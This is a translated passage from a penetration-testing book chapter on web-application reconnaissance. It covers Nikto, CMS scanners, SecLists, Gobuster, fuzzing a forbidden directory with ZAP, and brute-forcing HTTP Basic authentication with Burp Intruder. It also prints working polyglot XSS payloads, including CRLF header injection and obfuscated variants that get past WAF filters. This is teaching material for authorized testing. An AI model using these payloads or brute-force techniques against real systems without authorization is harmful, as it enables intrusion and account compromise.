Nikto 在任务的初期阶段提供了很大价值。它相对不具侵入性,并且凭借其内建插件,能够快速提供关于应用程序的洞察。它还提供一些更为激进的扫描功能,这些功能可能对旧的应用程序或基础设施产生成功效果。
如果任务不要求攻击者特别隐蔽,那么也可以运行噪音较大的 Nikto 选项。Nikto 可以猜测子域名、报告不寻常的头信息,并检查 robots.txt 文件中的有趣信息:

图 2.4:example.com 域的标准扫描
Nikto 输出关于 HTTPS 证书、服务器横幅、可能缺失的任何安全相关 HTTP 头信息,以及其他可能有用的信息。它还注意到服务器横幅在请求之间发生了变化,表明可能配置了 WAF 来保护应用程序。
Nikto 可以从 github.com/sullo/nikto 下载。它也可以在大多数渗透测试专用的 Linux 发行版上找到,如 Kali 或 BlackArch。
CMS 扫描器
当目标使用 CMS(如Joomla、Drupal或WordPress)时,运行自动化漏洞测试工具应成为你的下一步。
WordPress 是一个流行的 CMS,因为它提供几乎适用于任何类型站点的插件,使其非常可定制并广泛采用,但同时也很复杂,攻击面较大。它有大量易受攻击的插件,且用户通常不频繁升级这些插件。
在测试过程中,你可能会发现某个插件中存在一个可以远程利用的漏洞,提供一个 shell,但通常来说,WordPress 是一个信息宝库。用户名可以被枚举,密码往往较弱且容易暴力破解,或者目录索引可能已启用。WordPress 的内容文件夹有时也包含管理员“临时”上传的敏感文件。在后续章节中,我们将看到如何利用配置不当的 WordPress 实例攻击应用服务器,并在网络中横向渗透。
WordPress 并非唯一存在这种问题的系统。Joomla 和 Drupal 也非常流行,并且也存在许多与 WordPress 安装相同的漏洞和配置问题。
有一些免费的扫描器可供使用,旨在测试这些 CMS 中的低悬果实:
-
WPScan (
wpscan.org/): 一个强大的工具,用于测试 WordPress 安装 -
JoomScan (
github.com/rezasp/joomscan): 如其名称所示,是一个专注于 Joomla 测试的 CMS 扫描器 -
droopescan (
github.com/droope/droopescan): 一个专门针对 Drupal 的扫描器,同时支持一些 Joomla -
CMSmap (
github.com/Dionach/CMSmap): 一个更通用的扫描器和暴力破解工具,支持 WordPress、Joomla 和 Drupal
注意
在进行 WordPress 扫描之前,请确保它托管在参与范围内。一些 CMS 实现会将核心站点托管在本地,但插件或内容目录则位于独立的内容分发网络(CDN)上。这些 CDN 主机可能需要提交渗透测试通知表单,才能将其包含在测试中。
我们将在后续章节中更详细地介绍 CMS 评估工具,如 WPScan。
高效的暴力破解
暴力破解攻击通常涉及大量请求或猜测,以获得访问权限或揭示可能隐藏的信息。我们可能会对管理面板的登录表单进行暴力破解,寻找常用的密码或用户名。我们还可能对 Web 应用的根目录进行暴力破解,寻找常见的配置错误和错误放置的敏感文件。
许多成功的渗透测试正是通过弱凭据或应用配置错误实现的。暴力破解可以帮助揭示可能被隐藏的信息,或者因开发人员忘记更改默认凭据而获得对数据库的访问权限。
强行破解存在明显的挑战。主要是它非常耗时,并且可能非常嘈杂。例如,使用臭名昭著的rockyou.txt词表对一个 Web 服务进行强行破解,毫无疑问会引起你友好的邻居安全运营中心(SOC)分析员的注意,并可能会早早地终止你的活动。rockyou.txt列表包含超过 1400 万个条目,最终可能会成功猜测凭证,但限制流量洪流并使用更小、更高效的列表可能更好。
其中一个更好的常见关键词、凭证、目录、有效负载甚至 Webshell 集合是SecLists库:github.com/danielmiessler/SecLists。
注意
一个替代方案或补充方案是FuzzDB。它是一个类似的文件集合,包含各种有效负载,可以帮助进行强行破解,它也可以从 GitHub 库中下载:github.com/fuzzdb-project/fuzzdb。
使用流行的版本控制系统工具git获取 SecLists 的最新副本非常容易。我们可以使用git clone命令拉取这个库:
**root@kali:~/tools# git clone https://github.com/danielmiessler/SecLists**
SecLists 包含一个不断发展的编译词表数据库,可以用于发现扫描、强行破解攻击等多种用途:
| SecList Wordlist | 描述 |
|---|---|
Discovery |
Web 内容、DNS 和常见的 Nmap 端口 |
Fuzzing |
FuzzDB、Brutelogic、Polyglot 有效负载等 |
IOCs |
恶意软件相关的妥协指标 |
Miscellaneous |
可能有特殊用途的各种词表 |
Passwords |
大量的常见密码词表,按前 N 个文件拆分 |
Pattern-Matching |
用于“grep”感兴趣信息的词表 |
Payloads |
常见语言的 Webshell、Windows Netcat 和 EICAR 测试文件 |
Usernames |
常见名字和登录 ID 的列表 |
安全社区是 SecLists 的频繁贡献者,在开始工作之前,从 GitHub 拉取最新的更改是个好习惯。
希望目标映射已经提供了一些有助于更有效强行破解的关键信息。虽然 Nikto 和 Nmap 可能无法总是找到快速且简单的远程代码执行漏洞,但它们确实返回了在决定使用哪个词表进行发现时可能有用的数据。
有用的信息可能包括以下内容:
-
Web 服务器软件:Apache、NGINX 或 IIS
-
服务器端开发语言:ASP.NET、PHP 或 Java
-
底层操作系统:Linux、Windows 或嵌入式
-
robots.txt -
有趣的响应头
-
WAF 检测:F5或 Akamai
你可以根据前面列表中展示的非常简单的信息对应用程序做出假设。例如,IIS web 服务器更可能运行用 ASP.NET 开发的应用程序,而非 PHP。尽管 PHP 在 Windows 上仍然可用(通过 XAMPP),但在生产环境中不常见。相比之下,尽管 Linux 系统上也有 Active Server Pages (ASP) 处理器,PHP 或 Node.js 在当今环境中要更为常见。在进行文件暴力破解时,你可以在将扩展名附加到有效负载时考虑这一点:Windows 目标使用 .asp 和 .aspx,而 Linux 目标则可以使用 .php,这是一个好的起点。
robots.txt 文件通常很有趣,因为它可以提供“隐藏”的目录或文件,是进行目录或文件暴力破解时的一个良好起点。robots.txt 文件本质上是为合法的爬虫机器人提供指令,告诉它们可以索引什么,应该忽略什么。这是一种方便实现此协议的方式,但它意味着该文件必须对匿名用户(包括你自己)可读。
一个示例 robots.txt 文件大致如下:
User-agent: *
Disallow: /cgi-bin/
Disallow: /test/
Disallow: /~admin/
谷歌的爬虫会忽略子目录,但你不能忽略。这对即将进行的扫描来说是有价值的信息。
内容发现
我们已经提到过两个在初步发现扫描中非常有用的工具:OWASP ZAP 和 Burp Suite。Burp 的 Intruder 模块在免费版中有速率限制,但仍然可以用于快速检查。这两个攻击代理都可以在 Kali Linux 上使用,并且可以很容易地为其他发行版下载。还有其他命令行替代工具,比如 Gobuster,可以用来稍微自动化这个过程。
Burp Suite
如前所述,Burp Suite 随 Intruder 模块捆绑,允许我们轻松地进行内容发现。我们可以利用它查找隐藏的目录和文件,甚至猜测凭证。它支持有效负载处理和编码,使我们能够定制扫描,以更好地与目标应用程序进行交互。
在 Intruder 模块中,你可以利用 SecLists 提供的相同单词列表,甚至可以将多个列表组合成一个攻击。这是一个强大的模块,具有许多功能,包括但不限于以下内容:
-
集群炸弹攻击,适用于多个有效负载,例如用户名和密码,我们将在后面展示。
-
高度定制化攻击的有效负载处理
-
攻击速率限制和低速攻击的可变延迟
-
…以及更多内容!
我们将在后面的章节中介绍这些内容和其他功能。

图 2.5:Burp Suite Intruder 模块的有效负载屏幕
Burp Suite 的免费版可以在 Kali Linux 中轻松获取,但正如我们在上一章中提到的,它有些限制。Intruder 模块中存在一些限制,特别是攻击连接的时间限制。对于大量负载,可能会成为障碍。
Burp Suite 的专业版非常推荐给那些定期进行应用程序测试的人。Burp Suite 在逆向工程应用程序或协议时也非常有价值。现代应用程序或恶意软件通过 HTTP 与外部服务器进行通信是很常见的。拦截、修改和重放这些流量非常有价值。
OWASP ZAP
Burp Suite 的免费替代工具是 ZAP,它本身就是一个强大的工具,并提供了 Burp Suite 的一些发现能力。
Burp 的 Intruder 模块的 ZAP 等效模块是Fuzzer模块,具有类似的功能,如下图所示:

图 2.6:OWASP ZAP 的 Fuzzer 模块配置。由于 ZAP 是开源的,因此没有使用限制。如果目标是进行快速的内容发现扫描或凭证暴力破解,它可能是 Burp Suite 免费版的更好替代方案。
Gobuster
Gobuster 是一个高效的命令行工具,用于内容发现。Gobuster 并未预安装在 Kali Linux 中,但它可以从 GitHub 获得。顾名思义,Gobuster 是用 Go 语言编写的,并且在使用之前需要安装 golang 编译器。
在 Kali Linux 上配置 Gobuster 的步骤相当简单。我们可以通过执行以下命令开始:
**root@kali:~# apt-get install golang**
上述命令将全局安装 Go 编译器。这是构建 Gobuster 最新版本所必需的。
接下来,你需要确保GOPATH和GOBIN环境变量正确设置。我们将GOPATH指向我们主目录中的go目录,并将GOBIN设置为新定义的GOPATH值:
**root@kali:~# export GOPATH=~/go**
**root@kali:~# export GOBIN=$GOPATH**
我们现在可以通过git clone命令从 GitHub 拉取 Gobuster 的最新版本:
root@kali:~/tools# git clone https://github.com/OJ/gobuster
Cloning into 'gobuster'...
[...]
然后,我们可以获取依赖并编译 Gobuster 应用程序。go get和go build命令将在本地目录中生成 Gobuster 二进制文件:
**root@kali:~/tools/gobuster# go get && go build**
如果命令没有产生输出,说明工具已被编译并准备好使用:
**root@kali:~/tools/gobuster# ./gobuster**
**Gobuster v1.3 OJ Reeves (@TheColonial)**
**=====================================================**
**[!] WordList (-w): Must be specified**
**[!] Url/Domain (-u): Must be specified**
**=====================================================**
**root@kali:~/tools/gobuster#**
Gobuster 具有许多有用的功能,包括通过代理(例如本地 Burp Suite 实例)进行攻击、将输出保存到文件以供进一步处理,甚至对目标域进行子目录的暴力破解。
下图显示了 Gobuster 使用 SecLists 库中的常见 Web 内容文件对http://10.0.5.181进行发现扫描:

图 2.7:在 10.0.5.181 服务器上运行的 Gobuster 示例
在无法运行完整的图形用户界面(GUI)应用程序(例如 Burp 或 ZAP)的系统上,命令行 URL 发现工具可能会非常有用。
持久化内容发现
某次扫描的结果可能会揭示有趣的目录,但这些目录并不总是可以访问的,且应用程序中的目录索引越来越罕见。幸运的是,通过使用内容发现扫描,我们可以检查目录内是否存在其他配置错误的敏感信息。假设应用程序托管在http://10.0.5.181/,其中包含一个可能受到密码保护的特定目录。应用程序中的常见配置错误是保护父目录,却错误地认为所有子目录也会被保护。这导致开发人员将更敏感的目录放在父目录中,并忽略了它们。
之前检查robots.txt文件时,发现了一些有趣的目录:
**Disallow: /cgi-bin/**
**Disallow: /test/**
**Disallow: /~admin/**
admin目录引起了注意,但尝试访问/~admin/返回了 HTTP 403 Forbidden 错误:

图 2.8:访问该目录被禁止
这可能令人沮丧,但我们不能就此止步。目标目录太有吸引力,不值得放弃。通过使用 OWASP ZAP,我们可以对该目录启动新的 Fuzzer 任务,看看是否能找到任何未受保护的有价值信息。
确保光标位于最左侧面板中的 URL 末尾。点击最右侧面板中Fuzz Locations旁边的添加按钮:

图 2.9:Fuzzer 配置,添加 Fuzz Locations
在下一个屏幕上,我们可以为Fuzzer添加一个新的负载。我们将从 SecLists 存储库中选择raft-small-files.txt字典:

图 2.10:Fuzzer 配置 – 添加负载屏幕
由于我们希望将/~admin URI 视为目录并在其中查找文件,我们需要为选定的负载使用字符串处理器。这将是一个简单的前缀字符串处理器,它会在列表中的每个条目前添加一个正斜杠。

图 2.11:Fuzzer 配置 – 添加处理器屏幕
Fuzzer 任务可能需要一段时间才能完成,并且会产生大量的403或404错误。在这种情况下,我们能够找到一个隐藏的管理文件。

图 2.12:完成的 Fuzzer 扫描显示了一个可访问的隐藏文件
HTTP 200响应表示我们能够访问此文件,即使父目录/~admin/不可访问。看来我们可以访问包含在引人注目的admin目录中的admin.html文件。
应用程序安全性难以正确实现,随着应用程序的老化、演变以及员工更替,保持初始的安全基准变得更加困难。访问权限被授予却未被撤销;文件被添加且权限错误;底层操作系统和框架逐渐过时,容易受到远程攻击。
在进行初步内容发现扫描时,重要的是要记住不要停留在我们看到的第一个错误信息上。访问控制漏洞非常常见,如果我们坚持下去,可能会发现各种未保护的子目录或文件。
有效载荷处理
Burp Suite 的 Intruder 模块是攻击者在针对 Web 应用程序时的强大盟友。早期的发现扫描已经识别出一个隐藏但诱人的 /~admin/ 目录。随后的目录扫描揭示了一个未保护的 admin.html 文件。
在继续之前,我们将切换到 Burp Suite 攻击代理,并将 目标范围 配置为 vuln.app.local 域:

图 2.13:Burp Suite 目标范围配置屏幕
目标范围 允许我们定义要包括在攻击范围内的主机、端口或 URL。这有助于过滤掉可能与我们目标无关的流量。配置 Burp Suite 作为我们的攻击代理后,我们可以访问隐藏的 admin.html URL,并在代理历史中记录该流量:

图 2.14:通过浏览器访问隐藏文件成功
跟随 服务器连接测试 链接,我们进入了一个基本认证域 管理员工具,如图所示:

图 2.15:尝试访问链接时的身份验证弹窗
我们的渗透测试反应迅速,本能地输入了不幸常见的 admin/admin 凭据,但这次没有成功。
由于与目标的所有交互都被 Burp 代理记录,我们只需将失败的请求传递给 Intruder 模块,如下图所示。Intruder 将使我们能够轻松地攻击基本认证机制:

图 2.16:HTTP 历史记录屏幕
在 Intruder 模块中,默认设置大多是有效的——我们只需要选择 Authorization 头中的 Base64 编码凭据部分,并点击右侧的 添加 按钮。这样就会将 HTTP 请求中的这一位置标记为有效载荷位置。
以下展示了在 Authorization 头部中选择的有效载荷位置:

图 2.17:指定 Authorization 头中的有效载荷位置
在 有效载荷 标签中,我们将从下拉菜单中选择 自定义迭代器 有效载荷类型,如下图所示:

图 2.18:配置有效载荷类型
Authorization头部包含以冒号分隔的用户名和密码的 Base64 编码明文值。为了有效地暴力破解应用程序,载荷必须与此格式一致。我们需要提交一个按照Authorization头部要求的格式进行的载荷。每个攻击代理的暴力破解请求所使用的载荷都必须是由冒号分隔的用户名和密码,并进行 Base64 编码:base64([user_payload]:[password_payload])。
我们可以获取已捕获的Authorization头部的值,并将其传递给 Burp Suite 的 Decoder 模块。Decoder 允许我们快速处理不同编码方案之间的字符串,如 Base64、URL 编码、GZip 等。
这张图显示了我们如何利用 Decoder 将YWRtaW46YWRtaW4=的 Base64 值转换为解码为...下拉框中显示的内容。结果会在底部窗格中列出为admin:admin:

图 2.19:Burp Decoder 屏幕
返回到入侵者模块,对于载荷位置 1,我们将再次使用来自 SecLists Usernames集合的一个小型字典文件,名为top-usernames-shortlist.txt。我们的目标是找到容易破解的账户,同时尽量减少对应用程序的请求压力。使用一个常见的高价值用户名短列表是一个不错的第一步。
这张图显示了如何使用载荷选项中的加载...按钮将字典列表加载到位置 1 中:

图 2.20:载荷位置 1 配置屏幕
位置 1 的分隔符应为冒号(:)。对于位置 2 的载荷,你可以使用 SecLists 密码目录中的500-worst-passwords.txt列表。
下图显示了载荷位置 2 包含加载的500-worst-passwords.txt文件内容:

图 2.21:载荷位置 2 配置屏幕
位置 2 的分隔符应留空。
此时,发送到应用程序的每个请求将包含如下格式的Authorization头部:
Authorization: Basic admin:admin
Authorization: Basic admin:test
[...]
Authorization: Basic root:secret
Authorization: Basic root:password
为了完成载荷配置,我们还需要指示入侵者在发送请求前将载荷进行 Base64 编码。我们可以使用一个载荷处理器来强制对每个请求进行 Base64 编码。
在载荷标签下,点击载荷处理,选择添加,然后从编码类别中选择Base64 编码处理器。我们还将禁用自动 URL 编码,因为它可能会破坏Authorization头部。
以下 URL 显示了启用的Base64 编码处理器:

图 2.22:载荷处理规则 - Base64 编码
一旦载荷配置完成,我们可以通过点击入侵者模块右上角的开始攻击按钮,开始暴力破解,如下图所示:

图 2.23:开始攻击
与内容发现扫描类似,这种凭证暴力破解会生成相当数量的 HTTP 401 错误。如果幸运的话,至少会有一次是成功的,正如接下来的图所示:

图 2.24:攻击结果界面
现在,因为每个入侵者攻击的请求都会被记录,我们可以检查每一个请求,或者通过列排序来更清晰地展示攻击结果。在前面的示例中,我们可以清楚地看到,成功的身份验证请求返回了 HTTP 状态码 200,而大多数其他请求返回了预期的 401。不过,状态码并不是唯一能够快速判断攻击是否成功的方式。响应内容长度的偏差可能是一个很好的指标,表明我们正走在正确的道路上。
现在我们有一个有效载荷,成功获取了 Admin Tools 身份验证区域的访问权限,我们可以通过解码器模块查看明文凭证。
该图展示了解码器模块揭示的猜测凭证:

图 2.25:Burp Suite 解码器
凭证暴力破解只是入侵者模块众多用途之一。您可以利用自定义有效载荷和有效载荷处理来发挥创意。
假设一个场景,vuln.app.local 应用程序生成包含敏感信息的 PDF 文件,并将其存储在一个名为 /pdf/ 的未保护目录中。文件名似乎是文件生成日期的 MD5 摘要,但应用程序并不会每天都生成 PDF 文件。你可以尝试手动猜测每一天的文件名,但那并不理想。你甚至可以花点时间编写一个 Python 脚本来自动化这个任务。更好的替代方法是利用 Burp Suite,通过几次点击轻松完成这一任务。此外,这种方法还有一个好处,就是可以在一个窗口中记录攻击响应,方便检查。
我们可以再次将之前记录的请求直接发送到目标 /pdf/ 文件夹,传递给入侵者模块。
该图显示,PDF 文件的名称(不包括扩展名)被识别为有效载荷位置,并使用添加按钮进行标识:

图 2.26:入侵者有效载荷位置配置界面
下图展示了在入侵者模块中可用的日期有效载荷类型选项:

图 2.27:入侵者的有效载荷界面
在此攻击中,您将使用日期有效载荷类型,并使用适当的日期格式,回溯几年的数据。有效载荷处理器将是 MD5 哈希生成器,它将生成每个日期的哈希值并返回相应的字符串。这类似于我们在上一轮攻击中使用的Base64 编码处理器。
再次配置好有效载荷选项后,我们可以开始攻击。
下图显示了一些带有200 HTTP 状态码和大长度的请求,表示可以下载 PDF 文件:

图 2.28:入侵者攻击结果屏幕
入侵者将根据我们指定的日期格式生成负载列表,并计算字符串的哈希值,然后在几次点击后将其发送到应用程序。在很短的时间内,我们发现了至少三个未受适当保护、可能包含敏感信息的文档可以匿名访问。
多语言负载
多语言负载被定义为可以在应用程序中的多个上下文中执行的代码片段。攻击者喜欢这种类型的负载,因为它们可以快速测试应用程序的输入控件是否存在任何弱点,而且干扰很小。
在一个复杂的应用程序中,用户输入可能会经过许多检查点——从 URL 经过过滤器,进入数据库,再返回到解码器,最后显示给用户,如下图所示:

图 2.29:用户到应用程序的典型数据流
沿途的任何一步都可能改变或阻止负载,这可能会使确认应用程序中漏洞存在变得更加困难。多语言负载将尝试通过在同一流中结合多种执行代码的方法来利用注入漏洞。这试图利用应用程序负载过滤的弱点,增加代码至少有一部分被忽略并成功执行的机会。这是由于 JavaScript 是一种非常宽容的语言。浏览器一直是开发者的一个简单的入门障碍,而 JavaScript 根植于类似的哲学。
OWASP 跨站脚本(XSS)绕过过滤器的秘籍包含了一些多语言负载的示例,这些负载也可以规避一些应用程序过滤器:www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
一个很好的强多语言负载示例可以在研究员 Ahmed Elsobky 的 GitHub 上找到:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
乍一看,这似乎有些混乱,但每个字符都有其目的。这个负载旨在在各种上下文中执行 JavaScript,无论代码是反映在 HTML 标签内部还是直接位于另一段 JavaScript 代码中。浏览器的 HTML 和 JavaScript 解析器非常包容。它们不区分大小写,对错误友好,并且不太关心缩进、换行或空格。转义或编码的字符有时会被转换回其原始形式并注入到页面中。特别是 JavaScript 会尽其所能执行传递给它的任何代码。一个好的多语言负载将利用所有这些,并试图规避一些过滤。
敏锐的观察者首先会注意到,大多数关键字,如textarea、javascript和onload,,都是随机大写的:
**jaVasCript**:/*-/*'/*\'/*'/*"/**/(/* */**oNcliCk**=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</**teXtarEa**/</scRipt/--!>\x3csVg/<sVg/**oNloAd**=alert()//>\x3e
这看起来像是试图逃避应用防火墙输入过滤器的徒劳尝试,但你会惊讶地发现,许多设计都很糟糕。考虑以下正则表达式(regex)输入过滤器:
s/onclick=[a-z]+\(.+\)//**g**
注意
正则表达式是一段定义搜索模式的文本。一些 WAF 可能会使用正则表达式来尝试查找 HTTP 请求中的潜在危险字符串。
这将有效地防止通过onclick事件注入 JavaScript 代码,但有一个明显的缺陷:它没有考虑大小写敏感性。正则表达式有许多修饰符,例如前面示例中的g,并且默认情况下,大多数引擎需要i修饰符来忽略大小写,否则它们不会匹配,过滤器也会容易被绕过。
下图展示了 Regex101 将前面的正则表达式应用于一个示例测试字符串的可视化效果。我们可以看到,四个测试的有效载荷中只有两个与该表达式匹配,而所有四个都将执行 JavaScript 代码:

图 2.30:正则表达式过滤器可视化
提示
在评估应用程序的基于正则表达式的输入过滤器时,Regex101 是一个很好的地方,可以同时测试多个有效载荷。Regex101 是一个免费的在线工具,网址是regex101.com。
许多时候,开发人员在不现实的时间压力下工作。当渗透测试报告指出特定的输入清理问题时,开发人员面临压力,需要提交一个快速编写、安全性不足、只修复部分问题的安全修复。实施一个可能会破坏应用程序的框架来处理输入过滤通常既耗时又昂贵,因此往往在安全性上采取捷径。
Elsobky 有效载荷的目标还包括通过引擎处理经过反斜杠转义的十六进制编码值。例如,JavaScript 和 Python 会将以\x为前缀的两个字母数字字符处理为一个字节。这可以绕过某些执行原始字符串比较检查的内联 XSS 过滤器:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\**x3c**sVg/<sVg/oNloAd=alert()//>\**x3e**
可能有效载荷会被剥离掉大部分其他关键字,但当过滤器遇到\x3c和\x3e时,它会将其解释为无害的四个字符字符串。应用程序可能会解析该字符串,并不经意地返回转义的十六进制字符<和>的一个字节等效值。结果是一个<svg>HTML 元素,通过onload事件执行任意 JavaScript。
注意
可伸缩矢量图形(SVG)是网页上的一个元素,可以在屏幕上绘制复杂的图形,而无需使用二进制数据。SVG 在 XSS 攻击中使用,主要因为它提供了onload属性,当元素被浏览器渲染时,会执行任意的 JavaScript 代码。
注意
更多关于此特定多语言代码强大功能的示例,见 Elsobky 的 GitHub 页面:github.com/0xSobky。
一个强大的多语言代码负载能够在多种注入场景下执行一些代码。Elsobky 的负载也可以在反射到服务器 HTTP 响应时发挥作用:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
URL 编码字符%0d和%0a表示换行和回车。这些字符在 HTML 和 JavaScript 解析器中大多被忽略,但它们在 HTTP 请求或响应头中具有重要意义。
如果目标应用未正确过滤用户输入,在某些情况下,它可能会将任意值作为 HTTP 响应的一部分返回。例如,在尝试设置“记住我”Cookie 时,应用程序未过滤负载,直接在 HTTP 响应头中反射该负载,从而在用户的浏览器中造成 XSS:
GET /save.php?remember=username HTTP/1.1
Host: www.cb2.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
[...]
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: nginx/1.8.1
Set-Cookie: remember_me=username
Connection: close
Username saved!
如果我们将多语言负载作为用户名传入并记住,HTTP 响应头会被更改,正文将包含攻击者控制的数据,如下所示:
GET /save.php?remember=**jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*'%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%0D%0A%0d%0a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E** HTTP/1.1
Host: www.cb2.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
服务器的响应如下:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: nginx/1.8.1
Set-Cookie: remember_me=**jaVasCript**:/*-/*'/*\'/*'/*"/**/(/* */**oNcliCk=alert()** )//
**//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e**
Connection: close
Username saved!
响应有些被篡改,但我们确实实现了代码执行。URL 编码的回车字符%0D%0A%0d%0a被解释为 HTTP 响应的一部分。在 HTTP 协议中,两个回车和换行符表示头部的结束,后续的任何内容都将被浏览器渲染为页面的一部分。
相同负载,不同上下文
还有许多其他上下文可以使这个多语言代码成功执行代码。
如果多语言负载反射到用户名输入框的value属性中,浏览器对代码的解释清楚地显示了一个损坏的输入字段和一个恶意的<svg>元素。负载处理前的 HTML 代码如下所示:
<input type="text" name="username" value="[payload]">
该图显示了浏览器在处理负载后如何查看 HTML 代码:

图 2.31:反射型 XSS 负载
如果多语言负载反射到 HTML 注释中,它也会执行代码,如<!-- Comment! [payload] -->。
该负载包含注释结束指示符-->,这使得浏览器将其余文本解释为 HTML 代码。再次,<svg>元素的onload属性将执行我们的任意代码。
该图显示了浏览器在处理负载后如何查看 HTML 代码:

图 2.32:反射型 XSS 负载
如果多语言负载反射到设置正则表达式对象的某些代码中,它也会有用,如var expression = /[payload]/gi。
我们可以在浏览器控制台中通过以下示例代码测试此行为:

图 2.33:多语言代码可视化
我们可以看到,战略性地放置注释指示符,如/*、*/和//,将导致浏览器忽略大部分负载,从而产生有效的 JavaScript。
这是一个微妙的差别,但代码执行发生在这里:
(/* */oNcliCk=alert()
)
多行注释会被忽略,JavaScript 会执行括号之间的任何内容。在这种情况下,oNcliCk并不是表示鼠标事件绑定器,而是用来存储alert()函数的返回值,从而导致任意代码执行。
代码混淆
并非所有的应用防火墙都会剥离输入中的恶意字符串,允许其余的内容通过。一些内联解决方案会直接断开连接,通常表现为403或500的 HTTP 响应。在这种情况下,可能很难确定负载中的哪个部分被认为是安全的,哪个部分触发了阻止。
按照设计,内联防火墙必须非常快速,并且在处理传入数据时不能引入显著的延迟。结果通常是简单的逻辑,试图检测SQL 注入(SQLi)或 XSS 攻击。随机大写可能无法欺骗这些过滤器,但你可以放心地认为它们不会在每个请求的 HTML 页面上即时渲染,更不用说执行 JavaScript 来寻找恶意行为了。通常,内联应用防火墙会寻找特定的关键字,并将输入标记为潜在的恶意。例如,alert()可能会触发阻止,而单独的alert则会产生过多的误报。
为了增加成功的机会并降低噪声,我们可以通过似乎无限的方式来改变alert()函数的调用方式——这一切都要归功于 JavaScript。我们可以在浏览器控制台中测试,通过检查原生的alert()函数。window对象会保存对它的引用,我们可以通过不带括号调用该函数来确认这一点。控制台会显示它是一个内建函数,并且以[native code]显示其函数体。这意味着这不是一个自定义的用户定义函数,而是由浏览器核心定义的。
在 JavaScript 中,我们有多种方式访问对象的属性,包括像alert这样的函数引用。
这张图展示了我们如何直接访问相同的函数,或者使用数组表示法,在方括号内加入"alert"字符串:

图 2.34:访问alert()函数的不同方式
为了绕过基础的过滤器,这些过滤器可能会丢弃可疑的字符串,如alert(1),我们可以利用一些简单的编码方式。
使用 JavaScript 的parseInt函数,我们可以获取任何字符串的整数表示形式,使用自定义的进制。在这种情况下,我们可以获取"alert"字符串的 30 进制表示形式。为了将得到的整数转换回其字符串等效形式,我们可以利用内建的toString()方法,同时将整数的进制作为第一个参数:

图 2.35:“alert”字符串的编码与解码
现在我们知道 8680439..toString(30) 等于字符串 "alert",我们可以使用 window 对象和数组表示法来访问 alert() 函数的原生代码。
该图展示了我们如何使用混淆后的字符串调用 alert() 函数:

图 2.36:使用编码字符串执行 alert()
我们可以按照相同的过程对 console.log() 函数的调用进行混淆。与大多数可用的原生函数一样,console 也可以通过 window 对象访问。
下图展示了我们如何对字符串 console 和 log 进行编码,并使用相同的数组表示法访问属性和子属性,直到我们到达 console.log() 的原生代码:

图 2.37:对整个 console.log 命令进行编码
对于传统的强类型语言开发者来说,这种约定看起来很陌生。正如我们之前所看到的,JavaScript 引擎非常宽容,并且允许以多种方式执行代码。在之前的示例中,我们解码了函数的 base 30 整数表示,并将其作为键传递给 window 对象。
经过一些修改,Elsobky 载荷可以通过混淆处理变得更加隐蔽。它可能看起来像下面这样:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=**top[8680439..toString(30)]()** )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=top[8680439..toString(30)]()//>\x3e
提示
top 关键字是 window 的同义词,可以用来引用你需要的任何 window 对象中的内容。
通过一个小小的修改,polyglot 载荷仍然有效,并且现在更有可能绕过一些简单的内联过滤器,这些过滤器可能会尝试过滤或阻止发现尝试。
Brutelogic 提供了一个很棒的 XSS 载荷列表,并且有许多其他不传统的方式来执行代码,网址为 https ://brutelogic.com.br/blog/cheat-sheet/。
资源
请参考以下资源获取更多关于渗透测试工具和技术的信息:
-
Metasploit:
www.metasploit.com/ -
WPScan:
wpscan.org/ -
CMSmap:
github.com/Dionach/CMSmap -
Recon-NG(可在 Kali Linux 中使用或通过 Bitbucket 仓库访问):
bitbucket.org/LaNMaSteR53/recon-ng -
OWASP XSS 过滤器规避备忘单:
www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet -
Elsobky 的 GitHub 页面:
github.com/0xSobky -
Brutelogic 备忘单:
brutelogic.com.br/blog/cheat-sheet/ -
SecLists 仓库:
github.com/danielmiessler/SecLists
练习
完成以下练习:
-
在您的工具文件夹中创建 SecLists 和 FuzzDB 存储库的副本,并研究可用的单词列表。
-
下载并编译 Gobuster
总结
在本章中,我们讨论了提高在目标上收集信息效率的方法,并介绍了几种方法。如果在一次攻击中隐秘性至关重要,高效的内容发现也可以减少蓝队注意到攻击的机会。
经过时间考验的工具,如 Nmap 和 Nikto,可以让我们提前了解情况,而 WPScan 和 CMSmap 可以攻击那些经常配置错误且很少更新的复杂 CMS。对于较大的网络,masscan 可以快速识别有趣的端口,比如与 Web 应用程序相关的端口,从而使更专业的工具,如 WhatWeb 和 WPScan,更快地完成工作。
使用来自存储库(如 SecLists 和 FuzzDB)的适当单词列表,可以改善使用 Burp 或 ZAP 进行的 Web 内容和漏洞发现扫描。这些已知和有趣的 URL、用户名、密码和模糊负载的集合可以极大地提高扫描成功率和效率。
在下一章中,我们将探讨如何利用易得的机会来攻击 Web 应用程序。
第三章 低 hanging fruit
